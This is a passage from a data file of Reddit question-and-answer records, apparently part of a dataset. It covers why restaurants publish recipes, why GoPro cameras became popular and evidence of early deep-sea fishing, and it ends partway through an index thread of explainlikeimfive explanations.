{"q_id": "a8zoxr", "title": "why do restaurants release their recipes?", "selftext": "Like why would Chipotle release their guac recipe? Can't they expect a decrease in revenue? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a8zoxr/eli5_why_do_restaurants_release_their_recipes/", "answers": {"a_id": ["ecfahqg", "ecfat8q", "ecfawxp", "ecfcgao", "ecfj5lj"], "score": [9, 3, 5, 4, 2], "text": ["They know that very few patrons *actually want to do the work.* Even those who do, not every time.\n\nSo they figure the increased publicity is a good trade-off against the very small amount of lost business.", "Maybe you could make their guac, but adjust the recipe if you need to, like if you had an allergy to E. coli. ", "A big part of what fast food restaurants are about is convenience. People go to Chipotle because they don\u2019t want to make the guacamole (and the rest of the food) themselves, it\u2019s just more convenient. Releasing the guacamole is not likely to hurt their revenue at all. There\u2019s not going to be some vast horde of Chipotle customers who suddenly never go to the restaurant because they now, finally have the secret guacamole recipe.", "They want to prove the ingredients are natural, and it's not processed food, so what better way then telling you how to make it with the ingredients at home.\n\nAs for decreasing revenue, no way, if a restaurant told you how they made a cheese burger, would that stop you from going there? No, you don't go out to eat because you don't know how to cook (I hope..), you go out to eat because you don't want to cook and you want to go out.", " >  Can't they expect a decrease in revenue? \n\nThis assumes the reason most people go to Chipotle is because they don't know how to make guac.\n\nThe real reason people go to Chipotle is because they like the food and they don't want to, or can't make the food at home, or they are away from home when they want to eat the food that Chipotle sells. \n\n & #x200B;"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "212q7b", "title": "why is gopro so laudedwhen helmet cams and miniature, portable cameras have ben around for years?", "selftext": "Does the GoPro have some sort of proprietary technology that allows it to be used with sports activities and the like? I mean it's awesome, I can spend hours watching the videos, but why hasn't this been done before?  Other small cameras have been available for years.  \n\n**Obligatory \"omg big response\" edit**:  I really appreciate the feedback!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/212q7b/eli5why_is_gopro_so_laudedwhen_helmet_cams_and/", "answers": {"a_id": ["cg91gok", "cg91jsa", "cg91jsp", "cg91p4b", "cg923tz", "cg92rrr", "cg92v1r", "cg9341i", "cg93i9w", "cg93j0n", "cg93lhj", "cg93pzm", "cg93rdu", "cg93u7u", "cg93v6s", "cg93x3f", "cg93zxx", "cg940uo", "cg94jaz", "cg94jir", "cg94yx8", "cg956xj", "cg958i8", "cg95cfm", "cg95q4s", "cg95ran", "cg967gx", "cg96c6v", "cg96qa5", "cg96sxb", "cg96wi5", "cg96y1b", "cg974zj", "cg97bhv", "cg97idl", "cg97z3y", "cg99yw5", "cg9a30p", "cg9adg8", "cg9bavd", "cg9bt6m", "cg9bzn5", "cg9bzqi", "cg9c89t", "cg9dwkl", "cg9f5mr", "cg9gylx", "cg9h36i", "cg9hssr", "cg9hu19", "cg9ijkk", "cg9jz83", "cg9ky0u", "cg9ld2f", "cg9lrvl", "cg9m885", "cg9meqt", "cg9owya"], "score": [362, 8, 17, 94, 51, 6, 1973, 11, 15, 4, 4, 4, 186, 10, 9, 9, 7, 19, 2, 74, 9, 3, 2, 2, 3, 10, 3, 2, 5, 2, 2, 2, 2, 2, 2, 3, 2, 2, 2, 2, 4, 6, 5, 2, 2, 2, 3, 2, 2, 5, 2, 2, 2, 2, 2, 2, 3, 3], "text": ["SO MANY TYPOS IN THE TITLE I'M SORRY", "I think it's the versatile mounting options and the waterproof housing that set it apart, initially.  They are pricing me right out of the market now.  I lost my first $200 one and the new models are overpriced, in my opinion.  I'm waiting for a good knock-off.", "I'd say marketing.  The only other camera similar to the GoPro that I'ver heard of is the Contour. ", "I really think it was a combination of both its versatility and its general exposure in the media. The GoPro has ads everywhere, is used by a ton of famous people in a ton of situations and it kind of has a catchy name with brand-name recognition. In addition to this, it came about at the right time with the explosion of internet videos and even TV shows featuring things you've seen on the internet. The product went from being something you didn't really want to something you *needed.* They sell them all over the place, so they're easily available everywhere. It was a confluence of right place, right time, right technology at the right price. ", "Ads and Marketing.", "It's the IPhone of the camera world ", "Nobody thought to do it.  A small, self contained, waterproof, easily mountable camera that takes pretty decent footage was not in the market before GoPro.  Prior to the GoPro, my friends and I went in on a helmet camera setup.  It cost us like $700 used and required us to wear a backpack with a camcorder in it.  Another friend showed up with the first GoPro which was non HD and required a super expensive, non-rechargeable battery.  We were blown away with the simplicity, cost, and quality of footage compared to our setup that was 5x the cost.  And as I mentioned, this was back before GoPros were even HD.", "Execution.\n\nThey basically found a spot in the market where there was some opportunity and crafted a great narrative.  \n\nFrom there they evolved a solid product, then packaged and marketed it extremely well.\n\nThis is absolutely not trivial to do, as witnessed by so many failed products in the market.  ", "They have a very similar marketing campaign to RedBull. Celebrity/athlete endorsements, ubiquity at retailers, lots and lots and lots of hype, and a good product. ", "The same reason the iphone is. Easy to use, reasonable pricing, but most importantly, a proven name. Most people don't want to do a lot of shopping around, and with gopros marketing, they're the name that comes to mind for a simple waterproof video camera. ", "Do other companies make a camera that takes video of equal quality? My dad has the Hero3 and it can record 4k resolution I believe. \n\nIt can also mount to pretty much anything and it seems indestructible. ", "How many other helmet cams can you name off the top of your head?\n\nGoPro has tons of famous videos on youtube, tons of advertising, celebrities using them, and it is a decent product with no major drawbacks.\nThere might be better ones out there, but I haven't heard of them.", "I went to a presentation a month ago where a pro videographer talked about video on a budget, and he spent some time advocating for getting a GoPro.\n\nHis main point (although he didn't use these words) seemed to be that **everything about the camera makes it easy to get noticeably different angles**.\n\nIn pretty much any art/design/etc work, most people don't notice small differences. A specialist/practiced artist will notice if the lighting or angle is a little off from what it probably should be, but most people don't. What people notice is BIG differences. That's why certain fonts tend to appeal to people who don't practice design regularly -- Papyrus, Curlz, Comic Sans, etc all look very different from \"typical\" fonts like Helvetica, Georgia, Times, etc.\n\nThe same thing happens with video. If you use a normal video camera on a tripod like everyone else, then most people will think your shots look the same as everyone else's. When you start getting unusual shots, it will catch most people's attention. GoPro cameras have features that let you do those very different looking shots:\n\n - the lens is wide/fisheye (unless you use software to modify it to look like normal video)\n - the lens is fixed, so you can't zoom in and out\n - the recording quality is very very high -- current models can record 4K resolution\n - the camera is very small and lightweight, which means you can easily put it almost anywhere: you can mount it in a car to record the people in the car, you can put it on a long stick or monopod and move it over a crowd, etc.\n - you can set the camera to do time-lapse or high-speed shots\n - you can connect the camera to a smart phone app, see what it sees, and (I think) change settings remotely\n\nAnd, these features play off of each other in really interesting ways. They gave a really great example...before an event in a big banquet/conference space, they mounted (duct-taped) a GoPro camera on a kitchen-timer with a dial high above the crowd. During the next hour, the timer slowly turned, while the GoPro captured a long time-lapse shot. The fixed lens means you don't have to worry as much about focus, the small size made it easy to mount on the small timer, it was easy to set it to do time-lapse, and they could double-check the view and settings from their phone while on the ground. And they ended up with a very \"different\" looking shot that would stand out to and impress a normal audience that isn't trained in video.\n\nAND the price is very reasonable, especially for small productions and teams that just need to add a little extra oomph to their videos.", "I think the fact that they're near indestructible was a big selling point.  ", "They've been [busted](_URL_1_) before for viral marketting the shit out of reddit. They're 'lauded' because they can afford to advertise, and probably because many of the people who JUST FUCKING LOVE TM their shitty cameras are not real people. \n\nEDIT: [Forbes](_URL_0_) has a good article on how the company manipulates through its advertising in doing things like eliciting \"strong psychological responses of exhilaration, knowledge, awe and warmth.\" ", "I was under the impression it was mostly due to the incredible image stabilization which allows it to be used during heavy motion without losing video quality (hence why it's used for sports stuff). Go strap an iPhone to your head and spin circles and see how well the video turns out.     \nNow this technology isn't exactly *new* but GoPro was really the first to put it in a small, durable, easy to use design and market it towards athletes.", "Pretty much broadcast quality HD video in a pocket sized, waterproof, rugged case for under $500. That's about it.", "An early combination of low price, tiny size, advanced feature set, cases/mounts for everything including underwater, and very high quality video is what made the GoPro a top seller from the beginning. \n\nGoPro was/is frequently used by television production teams to get those great HD FPV shots, especially in dangerous environments where the typical $5,000+ camera wasn't willingly risked, even if those cameras could fit in the tight spots that GoPro is put into.\n\nThere have been many new cheap Chinese \"me too\" cameras since the advent of the GoPro, but it is still one of the best for the money.\n\nContrary to many posting here, marketing alone is not what made GoPro famous.", "To me, claiming it's purely marketing is wrong. Sure they heavily market the product, but the fact is that it is an outstanding product that was remarkable at the time of its release. Marketing spread that quickly, but I know when my dad showed me his without me ever hearing of it, I was pretty impressed by the technology and versatility for the price, and that reaction is a large part of their success.  ", "GoPro's success is a classic example of a technological tipping point. GoPro didn't do anything fundamentally different to previous camera companies, they just got all the details right. They came along at the right moment in time to take advantage of existing technology, and combined that technology into a product that worked without any major caveats. Their success is very similar to that of Apple products - MP3 players had existed before the iPod, but the iPod was the first to offer a really satisfactory experience.\n\nGoPro cameras are waterproof and shockproof out of the box, without the need to buy a special rugged enclosure. They come with a good set of mounting hardware that is versatile and easy to use. They're cheap and rugged enough that you don't worry about using them. They produce video that meets the technical standards required for TV broadcast. Lots of previous products had some of those features, but GoPro were the first to combine all of them in one product.\n\nA virtuous circle kicks in once you've got a product like that. A purely professional product is inherently very expensive, because the market is very small. If you have a product that sells to both consumers and amateurs, you've got a little bit of magic. The economies of scale from selling to a mass market allow you to invest in technology and buy components more cheaply, which means that version 2 of your product is better and cheaper.", "This thread is a pretty good example of why GoPro is so big. \n\nAnyone that is eluding or saying that it is marketing, or ads, or celebrity sponsorship, and not necessarily that it's the best product but just publicized well, is being downvoted. (By the way there's nothing wrong with a products success/popularity being caused by great marketing).\n\nAll the comments that are being upvoted are pretty much along the lines of, I'mma letchoo finish but GoPro is THE BEST CAMERA OF ALL TIME BRAH!\n\nSo far from what I've read, anyone that has proclaimed they are the only cameras to do certain things or use certain technologies have yet to source that there aren't cameras that do this.\n\nTL;DR: Apply some critical thinking and this thread is pretty much your answer. People that own a GoPro or are likely to get one are upvoting unsourced claims of it being the best camera ever (or best affordable camera). Meanwhile people that ensue it's popularity/success is from different means are being downvoted. ", "Timing and specialization.   They entered the market at a time when the capabilities of hardware were enabling advanced features and they produced something in a form factor focused on action sports (i.e. small device, easily mountable).\n\nThey produce high quality video, in a highly compressed format (H.264), with small size and good battery life.   The hardware to do this became available not very long ago.  Prior to that, you had to make huge compromises in quality or size or duration to even get close.\n\nOn top of that, they executed very well from a marketing perspective to get their products widely used and recognized.  To some extent, the product created the marketing..  enable crazy athletes to make their own amazing videos and people notice.", "I would argue it has everything to do with the software. GoPro took a readily available small HD camera, added a decent lens and software for low light and vibration mitigation, and started selling them to people that need a camera just for that purpose. Even now you can buy a GoPro clone on eBay for a quarter of the price but the major differentiating factor is the software the GoPro has that does low light, shaky mitigation,  and auto focus.\n\nThen they pre packaged it in a system that allowed it to be used in extreme sports environments and made available different mounts for different purposes easily and it became extremely popular quickly.", "Why does Thomas Edison get credit for the light bulb when dozens did it before him?\n\nBecause it's incremental development: adding onto what came before. There's always some little new tweak (better resolution, better durability, battery life, media compatibility, ease of editing or distribution (Youtube), etc.) or small drop in price that turns what is just tempting into \"I must have it!\"\n\nAnd at some point, after false starts, a feature set and a price point is reached where mass acceptance works.\n\nIt also helps to have a lot of money/ manufacturing ability/ PR/ etc on your side, while the real guy who was first might fade into obscurity due to lack of funds/ exposure/ capacity.\n\n", "What cameras before GoPro were at least as good and at least as cheap?", "I will give a little insight into why I bought one. I have a DSLR with a few lenses, and am into photography. I do a lot of backpacking and I have decided for most trips I do not want to bring my DSLR along. I was going to get a point and shoot, but if you only spend around 100 bucks, I basicly have something around my iphone quality. I thought about the go pro, not only can it do still pics, it can do HD video, time lapse and I never have to worry about it getting dirty, dusty, wet ect... Plus I can take it underwater! For me it was not \"oh sweet now i can buy a helmet cam, always wanted one\" It was: \"I need a small camera, and this one does everything I want and a ton more!\" \n\nI agree with others that it is def like the ipod / iphone thing. Right place, right time, and right execution.", "It's funny watching people try and pretend they know what they are talking about. ", "The answer to this has multiple points, all slightly touched on by other commenters already.\n\nFirst of all marketing, GoPro have a self-created image that is on par with and in some ways a combination of Apple and Red Bull, The GoPro line is sold with slick videos showing it's clean design, shiny lenses and robust build, while being even more sold by the dozens of sports videos with extreme sports professionals and celebrities they funded and supplied cameras for.\n\nSecondly availability and price, Before GoPros came along the closest equivalent was destruction cameras used in shows like Scrapheap Challenge on the BBC, these looked essentially like bits of circuit with a lens attached, they were expected to get destroyed and built to be put back together if possible and if not save the footage at all costs. Until the GoPro came along this sort of thing was either prohibitively expensive or just not available to the public for things like sports, youtube videos, etc, sometimes made by the production companies themselves and sometimes built to order the only way a normal person was getting their hands on them was working for a production company, making their own or spending a lot of money.\n\nFinally ease-of-use, once again before the GoPro came along in its form factor, even a year or two before, anything a normal skier or swimmer could get their hands on with anything like ease and no professional budget would be nothing like as effectively point-and-shoot to use while being as stable or high quality, it was a tradeoff, sometimes it wasn't even that.\n\nNowadays, after the technological avalanche their popularity has brought, there are dozens of competitors many of whom are perfectly acceptable and in come cases better for specific things.", "I don't know but I'm tired of hearing the stupid word. \"Recorded with my GoPro\" I don't care, it's on the same level as \"Sent from my iPhone\". ", "Price and convenience.  It's user friendly when many of it's predecessors were not.  The user experience from recording to off loading video to a PC is so much better than prior solutions.", "Frankly, I think part of it is their marketing. All of their ads are shot WITH gopro cameras, and let's be fair, some of their ads are pretty awesome. ", "The company is really smart with marketing. They GIVE pro's the newest cameras for free and support people doing crazy stunts. The videos market themselves.", "Because \"a motherfuckin' fisheye lens.\"", "Anyone interested in reading more about how GoPro came to be:\n\n[_URL_2_ interview with founder and CEO Nick Woodman:](_URL_0_) \n\n[*The GoPro Army*: How a scrappy little camera company turned its customers into a stoked sales force and became a $250 million industry.](_URL_0_)\n\n- Long highly recommend though\n\n[_URL_2_ interview with Woodman on bootstraping GoPro](_URL_1_)\n\n- Short, good in addition to first or by itself. \n", "MARKETING. GoPro's marketing campaign is similar to Redbull's  ", "No other company thought to market the cameras the way GoPro does. They developed a brand around this exact product instead of offering the product as part of their line. Brand loyalty is easy to establish among their target demographic when you do it the way GoPro does it.", "Brand recognition and good marketing. Theyre also waterproof.", "The guy who invented it wanted to build a waterproof sports camera to catch footage of himself surfing, others liked the product he created and wanted to adapt it. \n\nThat drive, the market timing, their RedBull-eque branding strategy, pricing and versatility. Along with the rise of YouTube \"Heros\" energy drink sponsored alternative sports stars and extreme sports television popularity, these are the factors that made the creator a billionaire. \n\nLong story short: It's an amazing product that speaks for itself.", "half of these are just publicity stunts engineered by the company.", "It really can be chalked up to marketing. From now on if you wear one of those helmet cams that have been around for years before the go pro, someone will say, \"Hey nice GoPro!\"", "Marketing. It's all about marketing. They sponsor all those cool action events like Red Bull Signature Series, X Games, Olympics, etc. and then they make those viral videos where people jump off cliffs wearing them and other things like that. Because of that, everyone thinks cool action stuff when they think GoPro and it's a household name.", "Because they are affordable and brilliant at marketing. ", "Tis called branding. ", "Because they're cheap and you can drop one from a couple miles up and it'll still work.", "I think mainly the ease of use and relative quality of video.  There have always been small cameras, but some required external battery packs and data recording devices separate from the lens-component itself.  This meant added equipment, hanging wires, etc, etc.  GoPros are compact with battery and memory card, plus a standard protective housing good for most things if you aren't worried about sound.  I think it came at the right time when the technology was available for the right price.\n\nOver time they have continued to improve in capability, shrunken in size, and they can be bought at various pricing levels.  Personally the form factor was a big selling point to me:  A lot of other cameras are long and tubular or rectangular, thus forcing the camera to be mounted on either the very top or side of a helmet/object.  I personally always hated this perspective and the square GoPro cameras make mounting to the \"forehead\" of a helmet possible and so you get a realistic point-of-view image.\n\nThen of course there's marketing, and while this is a big part of their recognition and success, I think there is more to it as there are now tons of copy-cat cameras with the same design, features, and specs.  They are the standard to be compared to and everyone else has been catching up since they broke out, like the Mac GUI when everyone before them was using terminals/command lines on PCs.", "Probably the same reason everyone tongued Apple's arsehole over the iPad when tablets have been around forever;\n\nAdvertising.", "GoPro took on the niche after Flipvideo was shut down by Cisco", "Not so.\nMy father was a professional jetski racer and he would film the major races (European, North American, and world cups) with a helmet mounted camera back in the early 00's.\n\nThe technology was there, albeit a little more expensive. It's important to note that HD was just barely getting started. That's what GoPro capitalized on. They were the first affordable HD set up for sports.\n\n", "What I don't understand is that why didn't any of the big boys like Sony, Canon or Nikon come out with something comparable as soon as they saw that GoPro was blowing up back in 2010?  \n\nThey have the technology and brand name appeal already.  How easy would it be to duplicate something like that, slap it in a waterproof case and cash in?", "Engineer here, who has worked on cameras such as the Flip.\nYou guys, the GoPro is SIMPLY a cheap camera with a simple lens body (with wide angle lens) that they put in a simple housing.  It's ALL marketing.  It is not anything special at all.  Fan boy talk does not talk the technical walk.  Contour is FAR better.  Those who look at mounting stuff as somehow substantial improvements are not mechanical engineers who could EASILY come up with the simple gopro mounts.  The huge and ridiculous knobs and all that the gopro has are absolutely nothing special.  So much fan boy fapping.  Wow.  So appleish. Much fisheye.  No stabilization or sophisticated firmware.  I see no technical folks on this really (sorry) so so thread. Mounts are so 80 IQ simple to design.  I'd take a real sensor and put it in a Contour style body; with great firmware, stabilization and a IP67 (ingress protection) level case, you could film squid at 500 feet down. But GoPro with their crazy marketing budget (al a Pet Rock) could make you think they were Nikon or  Hasselblad.  So much hype.  The owner of the company is SO full of himself; flying in G6's and acting like they made the world turn.  It's a cheap cam from an Asian maker put in a IP65 (at best) housing.  If they were actually creating a sensor and had real interchangeable lens body it would be deserving of the hype.  But you fanboys fap away.  ", "ELI65, who is the top at the hd cam game now, as in features, ease of use, quality and durability?", "Why are Nikes, or UnderArmor so lauded when shoes and spandex have been around for years?\n\nSome improvements + lots of advertising\n", "Advertisement, simple as that make a product nand advertise it boom, make it hip and cool for the modern age and yeah.", "It's the resolution and frame rate. 2k resolution at 30 fps is nice for regular video. 1080p at 60 fps allows good slow motion. This, coupled with the durability, guarantees popularity.\n\nHeadcams before the GoPro Hero Black 3 were lower resolution and had low quality slow mo (if at all). Or, if they were good DSLRs, they cost a fortune and were bulky/heavy.\n\nNow that we have Panasonic releasing a 4k DSLR (GH4) under $2000, 4k and 8k GoPros are just around the corner. One day soon you'll be able to shoot 4k at 120 fps on a cheap digital camera. Everything will be UHD.", "Because they have better marketing.", "they are the apple of their industry. \n\nApple has never invented a thing yet take credit for creating everything!\n\n", "Because they're simple, cheap, and have absolutely amazing video quality for the price. ", "i guess [this](_URL_0_) is one reason why\n... even pigs like it"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://www.forbes.com/sites/markfidelman/2014/03/17/the-top-5-viral-video-lessons-gopro-has-taught-us/", "http://www.reddit.com/r/videos/comments/1eraih/do_you_recognise_this_couple_gopro_found_that/ca30ifv"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://www.inc.com/magazine/201202/the-gopro-army.html", "http://www.inc.com/maeghan-ouimet/nick-woodman-gopro-10-years-bootstrapping-overnight-success.html", "Inc.com"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://www.youtube.com/watch?v=QrxPuk0JefA"]]}
{"q_id": "2ctd1f", "title": "How were ancient civilizations able to deep sea fish?", "selftext": "I recently came across an article about how there was evidence of deep sea fishing around 40,000 years ago. Back in this time, or in any other pre-modern civilization, what would be the process involved in catching something like a tuna?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2ctd1f/how_were_ancient_civilizations_able_to_deep_sea/", "answers": {"a_id": ["cjivhxr", "cjiz21y", "cjj093t", "cjj9r1v"], "score": [18, 3, 13, 3], "text": ["Do you have a link to that article? I guarantee you, if someone is arguing that people were deep-sea fishing 40,000 years ago, it is solely based off of archaeological evidence of fishing gear, probably some type of bone or antler hook.  With no writing from this period, and not even any depictions of human beings at all in art, artifacts are probably the only way that archaeologists would be able to guess about deep-sea fishing.  I guess, unless there is some rock art clearly identified as a tuna or something, which seems very unlikely.\n\nSo if you have that article, it probably explains possible methods for fishing with whatever the artifacts were that they found.", "You might wanna ask /r/askanthropology.  They could at least give you a run down of boat technology at that time.", "Sue O'Connor and Jane Balme have a chapter in [Southern Asia, Australia and the Search for Human Origins](_URL_0_) in which they say the following regarding the tuna fauna in Jeramalai shelter: \"The small size of bones of pelagic species... indicates that mostly immature individuals were taken. As immature tuna sometimes come in close to shore, it is possible that they were caught by hook or spear from boats or even from the shore or reef edge\". So it appears that the author cited in the popular article has reservations about the plausibility very early deep sea fishing. That's from a 2014 publication, so I would describe the conclusions in the 2011 popular science article as a tad sensational.", "\"Deep Sea\" fishing in modern times refers to being reasonably far offshore.  The baits fishermen use are nearly always on the surface.  Tuna can still be caught close to shore and is shallow water.  \n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://books.google.com/books?id=DuWfAgAAQBAJ&amp;pg=PA171&amp;lpg=PA171&amp;dq=Jerimalai+shelter+in+East+Timor.&amp;source=bl&amp;ots=0SCiJbDwCk&amp;sig=MhTcsyEaN8Vl8h-AwA5Kou-0NzY&amp;hl=en&amp;sa=X&amp;ei=kbbiU_e4Fqm68QGSkoGIAw&amp;ved=0CDoQ6AEwCQ#v=onepage&amp;q=Jerimalai%20shelter%20in%20East%20Timor.&amp;f=false"], ["http://www.fishcrack.com/incredible-fishing-video-90-lb-yellowfin-tuna-free-gaffed-off-a-dock-in-islamorada-fl/"]]}
{"q_id": "j86h2", "title": "the five-year-old's guide to the galaxy", "selftext": "Below is a hand-picked collection of outstanding explanations from this subreddit. Each linked answer is not only informative and correct, but written in terms that an elementary school student would legitimately understand. If you find an equally exceptional explanation not on this list, make a base-level comment on this thread and it will be considered for addition. Read and enjoy!\n\n----\n\n**Economics**  \n[Debt in a Money-Based Economy](_URL_6_) by Hapax_Legoman  \n[Expansionary Monetary Policy](_URL_9_) by GOD_Over_Djinn  \n[Libertarianism](_URL_18_) by AmazingSyco  \n[Stocks and the Stock Market](_URL_20_) by CarlH  \n[Trust Funds](_URL_21_) by The_Cleric  \n\n**History**  \n[JFK Assassination](_URL_26_) by Didji  \n[World War I](_URL_49_) by Axon350  \n\n**Literature and the Arts**  \n[The Catcher in the Rye](_URL_48_) by TrouserDemon  \n[Baroque vs. Classical vs. Romantic Music](_URL_5_) by HellOnTheReddit  \n\n**Mathematics and Logic**  \n[Anything to the Zero is One](_URL_38_) by LordAurora  \n[Bases](_URL_10_) by Didji  \n[Chaos Theory](_URL_17_) by Captain_Kittenface  \n[Crash Course in Logic](_URL_7_) by gmanp  \n[Manifolds and the Poincar\u00e9 Conjecture](_URL_14_) by flabbergasted1  \n[Negative Times Negative Equals Positive](_URL_11_) by lampochka_returns  \n[Occam's Razor](_URL_37_) by OtherSideReflections  \n[P versus NP](_URL_27_) by flabbergasted1  \n[Riemann Hypothesis](_URL_3_) by flabbergasted1  \n\n**Philosophy  &  Religion**  \n[Existentialism and Nihilism](_URL_16_) by Semiel  \n[Islam](_URL_29_) by meowtiger  \n[Nietzsche](_URL_36_) by plaidpant  \n[The Qur'an](_URL_42_) by dottxt  \n\n**Recent Events**  \n[London Riots (August 2011)](_URL_44_) by chetney  \n[Phone Hacking Scandal (August 2011)](_URL_25_) by Didji  \n[The US Drops from AAA to AA+ (August 2011)](_URL_30_) by uriman  \n[What If Greece Defaults (October 2011)](_URL_23_) by duckymf  \n[SOPA (November 2011)](_URL_8_) by flabbergasted1  \n\n**Reddit**  \n[The Front Page](_URL_40_) by flabbergasted1  \n[Vote Fuzzing](_URL_50_) by kissmyapp  \n\n**Science**  \n[Domesticating Animals](_URL_56_) by josh6499  \n[Fire](_URL_0_) by Balestar  \n[The Nervous System](_URL_22_) by Scriptorius  \n[Space-Time](_URL_2_) by 4x4prints  \n[The Speed of Light](_URL_41_) by Avedomni  \n[Plasma](_URL_43_) by wiz3n  \n\n**Technology**  \n[Buffer Overflow](_URL_12_) by UnitedStatesSenate  \n[Cell Phones](_URL_24_) by The_Cleric  \n[Electronic Ink](_URL_35_) by GSnow  \n[Hashing](_URL_51_) by AndreasTPC  \n[HTTP](_URL_39_) by The_Cleric  \n[Internet](_URL_28_) by EdgeOfDreams  \n[ISPs](_URL_46_) by Didji  \n[.JPEG vs. .PNG](_URL_47_) by asokoloski  \n[LCD vs. LED vs. Plasma](_URL_31_) by unndunn  \n[Linux vs. Windows vs. OS X](_URL_33_) by TickTak  \n[Net Neutrality](_URL_4_) by Didji  \n[Programming Languages](_URL_52_) by chipbuddy  \n\n**U.S. Politics**  \n[The Debt Ceiling](_URL_53_) by The_Cleric  \n[Liberalism vs. Conservatism](_URL_54_) by Didji  \n[\"Obamacare\"](_URL_55_) by Didji  \n\n**World Politics**  \n[Africa](_URL_15_) by bkoatz  \n[Fascism](_URL_34_) by blackstar9000  \n[The Israel-Palestine Conflict: Part 1](_URL_13_), [Part 2](_URL_32_) by nathanite  \n[North Korea](_URL_19_) by elloelloello  \n[Wikileaks](_URL_1_) by Devistator  \n\n----\n\nCredit to [adrianix](_URL_45_) for coming up with the title.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/j86h2/the_fiveyearolds_guide_to_the_galaxy/", "answers": {"a_id": ["c29yct7", "c29yhyx", "c29yifb", "c29ykye", "c29ylqk", "c29ymp1", "c29ynmf", "c29yrzl", "c29yy8q", "c29z09e", "c29z29a", "c29z4g4", "c29zcpb", "c29zmrd", "c2a0z4i", "c2a196f", "c2a1o6x", "c2a1s2r", "c2a3kus", "c2a3lk1", "c2dcn67", "c2dfre1", "c329037", "c3l43p1", "c39kdyg", "c3cl5ih", "c329037", "c2h0skj", "c2i4t2d", "c2h0skj", "c2i4t2d", "c29yct7", "c29yhyx", "c29yifb", "c29ykye", "c29ylqk", "c29ymp1", "c29ynmf", "c29yrzl", "c29yy8q", "c29z09e", "c29z29a", "c29z4g4", "c29zcpb", "c29zmrd", "c2a0z4i", "c2a196f", "c2a1o6x", "c2a1s2r", "c2a3kus", "c2a3lk1", "c2dcn67", "c2dfre1", "c39kdyg", "c3cl5ih"], "score": [247, 17, 12, 4, 3, 11, 5, 6, 2, 3, 15, 3, 2, 31, 2, 2, 2, 2, 3, 2, 2, 2, 2, 5, 2, 3, 2, 2, 2, 2, 2, 247, 17, 12, 4, 3, 11, 5, 6, 2, 3, 15, 3, 2, 31, 2, 2, 2, 2, 3, 2, 2, 2, 2, 3], "text": ["This is probably the single most informative thread on Reddit.", "Not trying to promote myself, but I wrote up an explanation of the situation in Syria yesterday.  It received favorable comments, but the thread didn't take off.  I would be gratified if it could be added.  \n\n_URL_0_", "Here's a few others of mine that I thought were good as well:\n\n[Trust Funds](_URL_2_)\n\n\n[HTTP](_URL_1_)\n\n\n[Cell Phones](_URL_0_)", "Any way we can add this to the sidebar?", "A slightly dated guide... but [here's](_URL_0_) a decent guide to the galaxy I found on the internet.\n\nedit:  Wow, there's actually a NSFW bit right in the middle of the video.", "Has anyone tested these with an actual 5-year-old?  I'd be interested in seeing how it goes.  \n\nI'd try it myself but I don't have any 5-year-olds available currently.", "I read The_Cleric's debt ceiling answer, and I have to say, that was an excellent, non-political explanation. :)", "I really enjoyed this:\n\n_URL_1_\n\nand this:\n\n_URL_0_", "Could someone explain this to me like I'm 5?", "But where is the galaxy?!", "The link you gave to the Israel-Palestine Conflict is misleading. It is very important that people be able to read BOTH comments posted by nathanite to see BOTH sides of the story to live up to the No Bias rules set forth by this subreddit. As of now, the link only shows one half of a very well given answer showing both sides. ", "I thought thats what [this](_URL_0_) was for...", "Really? I agree with most of that list, but I found the Israel-Palestine Conflict link to be INCREDIBLY biased.\n\n[This one is at least slightly less biased](_URL_0_)", "This should be compiled (after a year of useful information), and sold as an introductory book to the modern world, with all profits going towards a kids' reading charity. I wouldn't mind heading such a project if there seems to be enough interest. We could utilize the talents from all subreddits and mass-collaborate to make this happen. Ex- proofreading can be done on /r/proofread, we can utilize art from /r/art or /r/design for covers and visual explanations. ", "Please include more of these as the /r/elif grows. Shit, this should be subreddit of it's own. /r/thisweekinelif\n\nI made it, if anyone is interested. /r/thisweekinelif", "Posting in an epic thread.  Get off my /b/.  Etc.", "Self promotion again.  Here are my contributions that either did well, I think are good, or both:\n\n[ISPs](_URL_4_)\n\n[Buffer Overruns](_URL_2_)\n\n[Net Neutrality](_URL_0_)\n\n[Health Care Reform](_URL_1_)\n\n[Islamism](_URL_3_)\n\n[The Phone Hacking Scandal](_URL_5_)\n\n[JFK Assassination Conspiracies](_URL_7_)\n\n[Stock Market Indices](_URL_6_)\n\n\n\n\n\n", "Self promotion:\n\nWhy to install antivirus and firewall, or what I say is why to fight viruses\n_URL_1_\nIt's a bit long, but the point is that any 5 year old prolly would understand why they should defend against viruses after that.\n\nWhat Linux is and how it differs from Windows and OS X\n_URL_0_\nOther people agreed.", "Guide to the Galaxy where you only talk about Earth....  Anyone else confused by this?", "I came here looking for information about planetary movements, black-holes, stars, etc.  Downvote for misleading title.", "[Academics Explaining their Theses LI5](_URL_0_)\n\nThis is full of a lot of really interesting information that you would normally never think of nor think to ask because it's so specialized.  But now, everyone can know!", "Libertarianism is a little more than economics.", "Self-promotion: My explanation of [fascism](_URL_1_) was quite popular at the time. Also, I'd say my explanation of the [problems afflicting Africa](_URL_0_) is pretty bang-up as well.\n\nI'd also recommend that you start using standardized flair as a way of singling out people who are good at giving consistently \"on point\" answers. By \"on point,\" I mean:\n\n* correct;\n\n* cited; and\n\n* written at a level and elementary school kid would understand.\n\nInclusion on this list could be one of the criteria a user has to meet before they're awarded flair.", "I've got one for History. Hitler's rise to power. Submitted by user plusroyaliste.\n\n_URL_0_", "I would pay real, American dollars for this gem.", "Anybody want to create a google document, or a pdf with these in it for ebook?", "Self-promotion: My explanation of [fascism](_URL_1_) was quite popular at the time. Also, I'd say my explanation of the [problems afflicting Africa](_URL_0_) is pretty bang-up as well.\n\nI'd also recommend that you start using standardized flair as a way of singling out people who are good at giving consistently \"on point\" answers. By \"on point,\" I 